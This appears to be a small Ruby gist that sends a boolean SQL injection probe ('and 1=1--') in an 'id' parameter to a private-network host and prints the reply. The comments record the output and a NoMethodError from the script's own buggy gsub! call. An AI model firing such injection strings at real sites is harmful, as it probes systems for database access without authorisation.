gistfile1.txt

#!/usr/bin/ruby
require 'net/http'

module Request
	def req_get(url)
		uri = URI(url)

		Net::HTTP.start(uri.host, uri.port) do |http|
		  request = Net::HTTP::Get.new uri.request_uri

		  response = http.request request # Net::HTTPResponse object
		  return response
		end
	end
end

include Request
more = "+and+1=1--"
result = req_get("http://192.168.1.101/S/?id=1"+more)
puts result.body
result.gsub!(more,'')
puts result.body

# John<br />1 and 1=1--
# test.rb:21: private method `gsub!' called for #<Net::HTTPOK 200 OK readbody=true> (NoMethodError)